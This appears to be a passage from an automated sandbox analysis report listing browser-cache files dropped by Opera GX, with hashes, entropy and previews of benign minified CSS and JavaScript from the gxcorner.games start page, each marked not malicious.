                                                                                                                                                                                                              Preview:0\r..m....../...@.kN....https://gxcorner.games/assets/News-CmoIcnGh.cssimg.svelte-5rske2{width:100%}.placeholder.svelte-5rske2{aspect-ratio:16/9;background:#000;background:linear-gradient(90deg,#000 0,hsl(var(--color-accent)))}.tile.svelte-ow2c31.svelte-ow2c31{background-color:hsl(var(--color-N08));border-radius:8px;color:hsl(var(--color-font));display:block;font-family:system-ui;font-size:13px;font-style:normal;font-weight:650;text-decoration:none;z-index:0}.image.svelte-ow2c31.svelte-ow2c31,.tile.svelte-ow2c31.svelte-ow2c31{overflow:hidden}.image.svelte-ow2c31.svelte-ow2c31{aspect-ratio:16/9;min-height:169px;width:100%}.tile.svelte-ow2c31:hover .image-content.svelte-ow2c31{transform:scale(1.05) translateZ(0);transition:transform 1s ease-out 0s}.source.svelte-ow2c31.svelte-ow2c31{font-weight:400;margin:8px}.source.svelte-ow2c31.svelte-ow2c31:before{--size:16px;background:var(--favi);background-size:var(--size) var(--size);content:"";display:inline-block;height:var(--size);margin:0 8px

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Service Worker\CacheStorage\3f89513be45eaa6ed6020035b50ed601a651a63a\b3eb7923-97a2-46f0-90cc-28c6158e0aa9\802e5d476bdda48e_0

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):2073
                                                                                                                                                                                                              Entropy (8bit):5.849026444923329
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:D3D739013E41FEF40B7F1D37342EE00B
                                                                                                                                                                                                              SHA1:F0D0FAE7B4A751D026FF4063C649574237DC14C5
                                                                                                                                                                                                              SHA-256:991C9C6D65D54C43606987520F4E1BCC86F94573209A942A95BA73B164BFA69C
                                                                                                                                                                                                              SHA-512:76A689719C736C774FF082D1C7CEB7A255FB9B68C8F93A8D010F3D9BE3FA33649DC76E23BE14AFC5D53EE2C77B17478367CB9CAE9825D1B88453FFFF8D17228B
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:0\r..m......1...........https://gxcorner.games/assets/Footer-DWQrcYCV.cssul.svelte-5auylj{display:flex;flex-direction:var(--flex-direction,column);gap:var(--gap,4px);justify-content:space-between;list-style:none;margin:0;padding:0}.footer.svelte-8fyofs.svelte-8fyofs{align-items:center;border-top:1px solid hsl(var(--color-N32));color:hsl(var(--color-font));display:flex;justify-content:space-between;padding:24px 0}@media (width <= 671px){.footer.svelte-8fyofs.svelte-8fyofs{flex-direction:column}}.footer.svelte-8fyofs h4.svelte-8fyofs,.footer.svelte-8fyofs h5.svelte-8fyofs{font-weight:600;margin:0 0 8px}.footer.svelte-8fyofs h4.svelte-8fyofs{font-size:14px}.footer.svelte-8fyofs h5.svelte-8fyofs{font-size:12px}.footer.svelte-8fyofs .nav-box.svelte-8fyofs{display:flex;gap:64px}.footer.svelte-8fyofs .follow-box.svelte-8fyofs{margin-top:15px}.footer.svelte-8fyofs .social-box.svelte-8fyofs{width:224px}.footer.svelte-8fyofs li{color:hsla(var(--color-N77)/85%);font-size:14px;font-weight:400;line

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Service Worker\CacheStorage\3f89513be45eaa6ed6020035b50ed601a651a63a\b3eb7923-97a2-46f0-90cc-28c6158e0aa9\82b100ad0ed293c9_0

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1784
                                                                                                                                                                                                              Entropy (8bit):6.142212286108615
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:7A1DC32E719C20F470F1375221F18AC3
                                                                                                                                                                                                              SHA1:97DE5E2411BA34CE99EC3EE7D0E2807A78BB3519
                                                                                                                                                                                                              SHA-256:3D8500E4CCA48DE3AACDD663C2ABD4DDFF8AB6D73E40D0719524FB9E1F18C745
                                                                                                                                                                                                              SHA-512:C1353764015F3DB96E79363A58E60D6F5DE2A22E996BBB467B9040EC4F69188CB38B12A15881E9A3BC2F9040A0A56689F3D43E4CBB981212C7AC1C21466AB0D6
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:0\r..m......1....}......https://gxcorner.games/assets/strings-arc53U-2.jsimport{chrome as a}from"./index-Cl97QX7T.js";import{r as o,c as i}from"./index-DMZ02uhD.js";(function(){try{var e=typeof window<"u"?window:typeof global<"u"?global:typeof self<"u"?self:{},r=new Error().stack;r&&(e._sentryDebugIds=e._sentryDebugIds||{},e._sentryDebugIds[r]="6b00a932-08bf-47a6-84e5-028f8011d169",e._sentryDebugIdIdentifier="sentry-dbid-6b00a932-08bf-47a6-84e5-028f8011d169")}catch{}})();const s=i("i18n"),n=new Map,d=async()=>{const e=await a.operaResourcesPrivate?.getStrings("startpage");for(const[r,t]of Object.entries(e))n.set(r,t)},g=o((e,r)=>(s.error("Translation cache is empty!"),!1),e=>{n.size!==0&&e((r,t)=>(n.size===0&&s.error("Translation cache is empty!"),n.has(r)?n.get(r):(t===void 0&&s.warn(`Translation for "${r}" not found`),t)))});export{g as _,d as initStrings};..A..Eo......................GET.........."...age..327477")..cache-control..public, max-age=31536000"...cf-cache-status..HIT"...c

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Service Worker\CacheStorage\3f89513be45eaa6ed6020035b50ed601a651a63a\b3eb7923-97a2-46f0-90cc-28c6158e0aa9\8d7f266b334e83b3_0

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1270
                                                                                                                                                                                                              Entropy (8bit):6.1893105231582295
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:6DF8CAAE49E8674332AF15F0A806DF64
                                                                                                                                                                                                              SHA1:BD1D4C42140D1CBB4BE19C0D806012A4C93A3014
                                                                                                                                                                                                              SHA-256:E4C66C2554B5F8B733F81F0744B22324740ACD4D3AF152FB5B7BA644BA427F98
                                                                                                                                                                                                              SHA-512:F2709E18B59642F1B05303FED9EA0B7BD97EBB9F6C4A66BBEC9B6282B8F49CBCF70C11A17D364F867DF9F1DAD84CCB3D7223A6851AE0C9BF4F00DF82503B8C40
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:0\r..m......5...j..L....https://gxcorner.games/assets/TempBanner-CyJ1rCg3.css.temp-banner.svelte-y4jq5a{font-size:16px;height:107px;line-height:107px;position:relative;text-align:center}.border.svelte-y4jq5a{border:1px solid hsla(0,0%,100%,.1);border-radius:4px;height:calc(100% - 2px);pointer-events:none;position:absolute;transition:border .3s ease-in-out;width:calc(100% - 2px)}..A..Eo......f..J1...........GET.........."...age..327465")..cache-control..public, max-age=31536000"...cf-cache-status..HIT"...cf-ray..8d1da3a3188241b2-EWR"...content-encoding..gzip"...content-type..text/css"%..date..Sun, 13 Oct 2024 07:33:02 GMT",..etag.$W/"f755bb206187779854f9914ee8844c8a""(..expires..Mon, 13 Oct 2025 07:33:02 GMT"...last-modified..Wed, 09 Oct 2024 12:35:01 GMT"...server..cloudflare"...vary..Accept-Encoding"G..via.@1.1 77f996b8fbacf0f3f9e92ea84c0aeb9e.cloudfront.net (CloudFront)"G..x-amz-cf-id.8_VvTASbE-LEkAawSInkltY1WFCxJcdzRhasBT8ihCiBBWLsMJ-iKXQ=="...x-amz-cf-pop..JFK52-P1"&..x-amz-server-

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Service Worker\CacheStorage\3f89513be45eaa6ed6020035b50ed601a651a63a\b3eb7923-97a2-46f0-90cc-28c6158e0aa9\a2c1fc326e1b44e5_0

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):6413
                                                                                                                                                                                                              Entropy (8bit):5.711365498354345
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:CCEF1F0A527907580CD9664025B3B219
                                                                                                                                                                                                              SHA1:F28A58FDFD36C098E076C0DE310813312A5B7331
                                                                                                                                                                                                              SHA-256:D44DF80EC1013FD4381CFE60833BC3F9F3F5C0AAD89DDC1344AF8814737E2BBF
                                                                                                                                                                                                              SHA-512:A8D286B79EA93B3FD1D077ED2F72799FC26C3D92B3AE5840B28C0ADDEDDAE20687F0A479B51EB652A02CEAE014BCAFAE4AB53786294865F05E61AFE1741BC3BC
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:0\r..m......=...Za.....https://gxcorner.games/assets/DailyRegularContent-CvoZ_uMX.jsimport{s as T,p as q,i as z}from"./index-DMZ02uhD.js";import{S as B,i as F,b as g,m as b,ah as G,aU as J,t as d,g as p,j as h,b2 as K,C as _,D as R,s as D,E as v,e as w,F as $,G as S,I as E,J as H,h as I,az as U,H as V,aK as W,an as C,O as A,aM as Q}from"./App-Dh0jPV6c.js";import{I as X}from"./IntersectionObserver-DNzenOzn.js";import{D as Y}from"./DailyLayout-BJyJ127i.js";import"./index-Cl97QX7T.js";import"./strings-arc53U-2.js";import"./Daily-B4nyd3Ac.js";(function(){try{var l=typeof window<"u"?window:typeof global<"u"?global:typeof self<"u"?self:{},t=new Error().stack;t&&(l._sentryDebugIds=l._sentryDebugIds||{},l._sentryDebugIds[t]="27a51f26-013a-40fc-8e6a-0be771e3e1dd",l._sentryDebugIdIdentifier="sentry-dbid-27a51f26-013a-40fc-8e6a-0be771e3e1dd")}catch{}})();function M(l){let t,r,a;return r=new U({props:{key:l[0].id,url:l[0].url,$$slots:{default:[x]},$$scope:{ctx:l}}}),r.$on("click",function(){z(l[5

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Service Worker\CacheStorage\3f89513be45eaa6ed6020035b50ed601a651a63a\b3eb7923-97a2-46f0-90cc-28c6158e0aa9\a578a5a7a76c33f0_0

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):6457
                                                                                                                                                                                                              Entropy (8bit):5.712413977280604
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:7B6A07B330FDC2ED607625A63920F75B
                                                                                                                                                                                                              SHA1:8BC7477F7EEC1997F30075609B754D8C8D303054
                                                                                                                                                                                                              SHA-256:B59E83CD6F479EA6CC693DED790CF4E772CFD0B80BADCDD0237BFBF52E1AF726
                                                                                                                                                                                                              SHA-512:10CF0500947C4AE0A7871C8D1732B4C31FA5F3EB8B9B02C2CB68BE393E8009FB71ABDA152999CA4A48E2453F69D0868BDD8F708CB08D5FCA728597AE48BEAC89
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:0\r..m....../....&......https://gxcorner.games/assets/index-Cl97QX7T.jsimport"./index-DMZ02uhD.js";(function(){try{var e=typeof window<"u"?window:typeof global<"u"?global:typeof self<"u"?self:{},r=new Error().stack;r&&(e._sentryDebugIds=e._sentryDebugIds||{},e._sentryDebugIds[r]="689de3a6-26e2-4a28-8db1-6bf3914e796e",e._sentryDebugIdIdentifier="sentry-dbid-689de3a6-26e2-4a28-8db1-6bf3914e796e")}catch{}})();const d={ItemType:{CHECKBOX:"CHECKBOX",NORMAL:"NORMAL",SEPARATOR:"SEPARATOR",SUBMENU:"SUBMENU"},showMenu(...e){window.chrome.contextMenusPrivate.showMenu(...e)}},P=async(e,r=void 0)=>new Promise(o=>{setTimeout(()=>o(r),e)}),w={waitTime:.1,maxAttempts:7},p=(e,{waitTime:r,maxAttempts:o}=w)=>async(...a)=>{let n=0;for(;n<o;)try{return await P(r*1e3),await e(...a)}catch{n+=1,r*=2,console.warn(`Retry attempt ${n}`)}return e(...a)},t=e=>(...r)=>new Promise((o,a)=>{const n=i=>{if(chrome?.runtime?.lastError){a(chrome.runtime.lastError);return}o(i)};e()(...r,n)}),c={get:t(()=>chrome.cookies.ge

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Service Worker\CacheStorage\3f89513be45eaa6ed6020035b50ed601a651a63a\b3eb7923-97a2-46f0-90cc-28c6158e0aa9\ad136f214d646ce2_0

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):13117
                                                                                                                                                                                                              Entropy (8bit):5.593368316564392
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:AF0E25DD997E1EFDCF4E9B856DDFE0CA
                                                                                                                                                                                                              SHA1:753A3878E8B2FF415892E605A801FD2BE8A114C3
                                                                                                                                                                                                              SHA-256:9AFBDC52927490796784C141E0284C9A693C837FC222EDE47FE35BDEAEEA924B
                                                                                                                                                                                                              SHA-512:285331FAFAD4F7A9713862EEC99910FB99510CE1522E37ABD93361D694638D517C380010898555E6E696CB9B8B7F013B8F888F910E26BAFDA7AD330BA1E7C3AE
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:0\r..m......2...B.......https://gxcorner.games/assets/Settings-OWFQsyab.jsimport{n as z,d as Se,i as te,s as Ae,b as ce,o as B,$ as Ce,C as V}from"./index-DMZ02uhD.js";import{n as Ee,l as Ie,c as De,d as Le,a as Te,S as Be,i as Pe,P as We,s as L,b as P,e as I,m as W,f as O,t as v,g as k,h as D,j as y,k as X,o as ye,w as Y,r as Re,p as qe,q as Z,u as Me,v as Oe,x as Fe,y as Ge,z as ae,A as Ke,B as Ne,W as x,C,D as R,E as A,F as b,G as M,H as je,I as H,J,K as oe,L as G,M as ze,N as He,O as Je,Q as Qe,R as Ue,T as Ve,U as Xe}from"./App-Dh0jPV6c.js";import{T as Q}from"./Toggle-BJt5m6Nb.js";import{n as Ye,s as ee}from"./news-DnkPxxHL.js";import"./index-Cl97QX7T.js";import"./strings-arc53U-2.js";(function(){try{var s=typeof window<"u"?window:typeof global<"u"?global:typeof self<"u"?self:{},e=new Error().stack;e&&(s._sentryDebugIds=s._sentryDebugIds||{},s._sentryDebugIds[e]="141e1f15-c1c3-46be-9af4-234322a07d49",s._sentryDebugIdIdentifier="sentry-dbid-141e1f15-c1c3-46be-9af4-234322a07d49")}ca

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Service Worker\CacheStorage\3f89513be45eaa6ed6020035b50ed601a651a63a\b3eb7923-97a2-46f0-90cc-28c6158e0aa9\adf2ef88cfd9ca7e_0

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):130782
                                                                                                                                                                                                              Entropy (8bit):5.429808967275432
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:7A7427089EF66E5A2CC04ED39CDA497B
                                                                                                                                                                                                              SHA1:FD27E087728398C540A66FE598DDACA664641760
                                                                                                                                                                                                              SHA-256:509106DD64D097075D7D232453F882808FC4588748C927D4000B0A9E790B6E4C
                                                                                                                                                                                                              SHA-512:8DED3F4A6C6C61D4FA334ED3BB5072AE638C0A705CDC5909CC9BBC7C4810432789B9FA41E321209E153373B648B5E245124F99DDCC8CF190EAF84386613CA8F4
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:0\r..m.................https://gxcorner.games/assets/App-TFQCuALs.css.colors.svelte-1s19chr{display:contents}.button.svelte-19yt3q9.svelte-19yt3q9{align-items:center;align-self:var(--align-self,stretch);background-color:hsl(var(--color-N20));border:1px solid hsl(var(--color-N32));border-radius:var(--border-radius,2px);box-sizing:border-box;color:hsl(var(--color-font));cursor:pointer;display:flex;font-size:var(--font-size,12px);font-weight:700;justify-content:center;padding:var(--padding,8px 16px);text-align:center;transition:opacity .5s ease-out;vertical-align:middle}.button.primary.svelte-19yt3q9.svelte-19yt3q9{background-color:hsl(var(--color-accent));border:1px solid hsl(var(--color-accent));color:hsl(var(--color-font-accent))}.button.primary:hover.desktop.svelte-19yt3q9.svelte-19yt3q9{background-color:hsl(var(--color-A120));border:1px solid hsl(var(--color-A120))}.button.primary.disabled.svelte-19yt3q9.svelte-19yt3q9{background-color:hsl(var(--color-A30));border:1px solid hsl(var(

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Service Worker\CacheStorage\3f89513be45eaa6ed6020035b50ed601a651a63a\b3eb7923-97a2-46f0-90cc-28c6158e0aa9\b4085ced55dae9b3_0

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):105581
                                                                                                                                                                                                              Entropy (8bit):5.474597201404453
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5E93EDFD5479AC122B62EB571B74689E
                                                                                                                                                                                                              SHA1:1E33177CD4616ED75B7FD28A538F51613F0B3610
                                                                                                                                                                                                              SHA-256:9A288287DEE490300D3E52DEBBCFB28D9B56D8E89EE003112A2EA41714FFD1E4
                                                                                                                                                                                                              SHA-512:8ACD9429EC53392D0CF04219211F0C1D395DFB9BF5B5EA9E7D7ADEF84E9495D078EBC3CA8E308A494296819616C56DCB246DA0DE96A0CFE3E35834CCA0AB5193
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:0\r..m....../.... @.....https://gxcorner.games/assets/Debug-BQwxWmxt.jsimport{s as ve,y as lt,i as Qt,n as me,b as dt,o as Je,C as _t,k as se,p as ho,u as le,l as ce,m as ue,N as Ao}from"./index-DMZ02uhD.js";import{a3 as je,a4 as yo,a5 as _n,a6 as Sn,a7 as En,a8 as vn,S as we,i as Me,s as J,C as B,D as he,E as _,L as W,e as D,F as C,f as V,a9 as re,aa as bo,G as Pe,h as F,ab as No,ac as _o,ad as gi,ae as So,V as Xe,af as wn,ag as Mn,t as S,I as oe,g as M,J as ae,ah as Eo,Y as vo,ai as wo,aj as Mo,ak as xe,O as tn,b as fe,m as de,j as pe,al as Ge,R as Te,K as St,am as hi,T as ct,an as ee,U as ut,ao as Co,a0 as Io,ap as Yt,$ as ko,H as To,aq as Xt,ar as qe,as as bt,at as Cn}from"./App-Dh0jPV6c.js";import{c as Ai,g as Po,a as In,t as Oo,o as Jt,b as kn}from"./time-CmnUK5pk.js";import"./index-Cl97QX7T.js";import"./strings-arc53U-2.js";(function(){try{var e=typeof window<"u"?window:typeof global<"u"?global:typeof self<"u"?self:{},t=new Error().stack;t&&(e._sentryDebugIds=e._sentryDebugIds||

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Service Worker\CacheStorage\3f89513be45eaa6ed6020035b50ed601a651a63a\b3eb7923-97a2-46f0-90cc-28c6158e0aa9\b7b84cdadc108348_0

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):13553
                                                                                                                                                                                                              Entropy (8bit):5.62639423301035
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:39997B3B32F00ABC8CDFB07D56B697F2
                                                                                                                                                                                                              SHA1:7A95017792DA301CBF306A8B8D73F09D1E9AF855
                                                                                                                                                                                                              SHA-256:4BE4E6B7AD3CA5A2FC49EE20550F84C2C1A57311CFC13599CE25A44E031C49D9
                                                                                                                                                                                                              SHA-512:3E593B28EB21D2D3E1519E064E11E509880D9727CABF48E91C9CD833A8E3C542216F5FEA7D2F7D6EFF62208B7C68FF7954D996EA105C2D557C19B07B218AE28A
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:0\r..m......9...t.......https://gxcorner.games/assets/DailyThisOrThat-DdOMbLSK.jsimport{s as $,n as Y,b as de,p as me,o as le}from"./index-DMZ02uhD.js";import{S as x,i as ee,C as z,s as E,D as j,E as w,L as D,an as C,e as R,F as b,f as ne,G as V,h as A,al as _e,O as ge,t as S,I as W,g as L,J as X,Y as be,K as se,am as he,b as H,m as O,j as q,H as pe,by as we,ah as ve,aU as ke,v as Se,bs as Te,bx as ze,bn as Ge}from"./App-Dh0jPV6c.js";import{a as De}from"./Daily-B4nyd3Ac.js";import{D as Le}from"./DailyLayout-BJyJ127i.js";import"./index-Cl97QX7T.js";import"./strings-arc53U-2.js";import"./IntersectionObserver-DNzenOzn.js";(function(){try{var t=typeof window<"u"?window:typeof global<"u"?global:typeof self<"u"?self:{},e=new Error().stack;e&&(t._sentryDebugIds=t._sentryDebugIds||{},t._sentryDebugIds[e]="71f61e33-c967-44c7-9c08-92b21d4b9d70",t._sentryDebugIdIdentifier="sentry-dbid-71f61e33-c967-44c7-9c08-92b21d4b9d70")}catch{}})();function re(t){let e,l,n,r,s;return{c(){e=z("div"),e.innerHTML

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Service Worker\CacheStorage\3f89513be45eaa6ed6020035b50ed601a651a63a\b3eb7923-97a2-46f0-90cc-28c6158e0aa9\ba1f2446b574a272_0

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):4089
                                                                                                                                                                                                              Entropy (8bit):5.676826382097297
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:7290D4A49E3D2C87DED1C9A43E3B6327
                                                                                                                                                                                                              SHA1:4B8BBA97320974B0A8765DD68E9A7E169D21FEF6
                                                                                                                                                                                                              SHA-256:C0BA37D6854B322D81061CA192FEE0B11A3E9384D54D20E70C7153C5AB435DD8
                                                                                                                                                                                                              SHA-512:D4C2A9F5595DDB613DC2AFD68292908D5EDFA9EB86B5598B856A1274C5CFF5A6A96ED3B36A5985E5E6480F1FE206DA9B3F9654B7EF8CA5B545B984D44254CAE7
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:0\r..m......3....?l.....https://gxcorner.games/assets/Settings-BWmUTsVZ.css.box.svelte-tmfmdp.svelte-tmfmdp{background-color:hsla(var(--color-N12)/64%);border:1px solid hsl(var(--color-N32));border-radius:4px;color:hsl(var(--color-font));padding:24px}.box.ghost.svelte-tmfmdp.svelte-tmfmdp{animation:none!important;opacity:0}.box[draggable=true].svelte-tmfmdp.svelte-tmfmdp{position:relative}.box[draggable=true].svelte-tmfmdp.svelte-tmfmdp:hover{cursor:grab}.box[draggable=true].svelte-tmfmdp.svelte-tmfmdp:active{cursor:grabbing}.box[draggable=true].svelte-tmfmdp.svelte-tmfmdp:after{background-color:hsl(var(--color-N59));content:"";display:block;height:16px;-webkit-mask-image:url("data:image/svg+xml;charset=utf-8,%3Csvg xmlns='http://www.w3.org/2000/svg' width='10' height='16' viewBox='0 0 10 16'%3E%3Cg fill='none' fill-rule='evenodd'%3E%3Cpath d='M-7-4h24v24H-7z'/%3E%3Cpath fill='%238e83a9' fill-rule='nonzero' d='M4 14c0 1.1-.9 2-2 2s-2-.9-2-2 .9-2 2-2 2 .9 2 2M2 6C.9 6 0 6.9 0 8s.9 2 2 2

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Service Worker\CacheStorage\3f89513be45eaa6ed6020035b50ed601a651a63a\b3eb7923-97a2-46f0-90cc-28c6158e0aa9\ba662a78d70cdef5_0

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):2714
                                                                                                                                                                                                              Entropy (8bit):5.764601446849847
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:1DB720112D4E9ED580E66DB316914D56
                                                                                                                                                                                                              SHA1:ADF50F58EFEB3FDB458D41F1EAB0F4A7324C1726
                                                                                                                                                                                                              SHA-256:5A3F59675BCF927DCBBAD7470769DDADEB5E2537602494C3B2C93BCEC6F44684
                                                                                                                                                                                                              SHA-512:8B0E6432FF74D72AE5846E7D4E1070E317416D32A9A3C5A3A553FDB5A8C16E3DFEFE0BCCE4239B574B807EE52D141678D9C2D0BF0045A5E02C1819C1A1552367
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:0\r..m......1...........https://gxcorner.games/assets/Stream-BFM17Y-P.css.right.svelte-1gmmzaa{color:#c7c7c780;display:flex;flex-direction:revert;justify-content:flex-end;margin:0 -4px;opacity:.5;padding-bottom:8px;transform:translateY(-32px);transition:opacity .2s ease-out}.right.svelte-1gmmzaa>*{margin:0 4px}.right.svelte-1gmmzaa:hover{opacity:1}.info.svelte-1gmmzaa{animation-direction:alternate;animation-duration:1s;animation-iteration-count:infinite;animation-name:live-blink;color:red}.container.svelte-263ht9{margin-top:10px}.relative.svelte-263ht9{--height:353px;--radius:8px;--cut:16px;--gap:15px;--polygon:polygon(var(--cut) 0,var(--width) 0,var(--width) calc(var(--height) - var(--cut)),var(--width) calc(var(--height) - var(--cut)),calc(var(--width) - var(--cut)) var(--height),0 var(--height),0 var(--cut));height:var(--height);position:relative;transform:translateY(-32px);transition:height 1s ease-out}.splash.svelte-263ht9,.wrapper.svelte-263ht9{position:absolute}.wrapper.svelte-2

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Service Worker\CacheStorage\3f89513be45eaa6ed6020035b50ed601a651a63a\b3eb7923-97a2-46f0-90cc-28c6158e0aa9\c5b88e3f8930bbfa_0

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):2502
                                                                                                                                                                                                              Entropy (8bit):5.8059016544460045
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:8E086EC93544F00624272EB4BAFEF301
                                                                                                                                                                                                              SHA1:0AC5B54B241DBA0C635D7B1E925217773609D6DE
                                                                                                                                                                                                              SHA-256:18995A90DF860DE811DE696BA90B29D05692C695F79D90905C570027BF532BDB
                                                                                                                                                                                                              SHA-512:10BF836940168ADDE0FAC51524D8693EE906E06914C05AFFAAC321883A6F13B04B2B4A63406CE16D364A773FC854A01CC2FAF6D3CF97A0834D69655321FF6DE4
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:0\r..m......5...........https://gxcorner.games/assets/DailyShort-CzrljWBw.css.regular-content.svelte-1av34sr{display:flex;flex-direction:column;height:100%}.post-title.svelte-1av34sr{color:var(--theme-text-color);font-size:24px;font-weight:600;margin-block-start:38px}@media (max-width:1130px){.post-title.svelte-1av34sr{font-size:16px;margin-block-start:24px}}@media (max-width:794px){.post-title.svelte-1av34sr{margin-right:15px}}.post-content.svelte-1av34sr{display:flex;flex:1;gap:5%}.text.svelte-1av34sr{box-sizing:border-box;font-size:18px;line-height:28px;width:50%}@media (max-width:1130px){.text.svelte-1av34sr{font-size:14px;line-height:20px;margin-top:10px}}@media (max-width:794px){.text.svelte-1av34sr{width:55%}}.cta.svelte-1av34sr{display:flex;height:40px;--padding:4px 42px;--font-size:12px}@media (max-width:1130px){.cta.svelte-1av34sr{--padding:0 36px;--font-size:10px;margin-top:22px}}.cta.center.svelte-1av34sr{bottom:18px;margin-right:70px;position:absolute;right:0}@media (max-w

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Service Worker\CacheStorage\3f89513be45eaa6ed6020035b50ed601a651a63a\b3eb7923-97a2-46f0-90cc-28c6158e0aa9\c839a792a8a01b03_0

                                                                                                                                                                                                              Download File
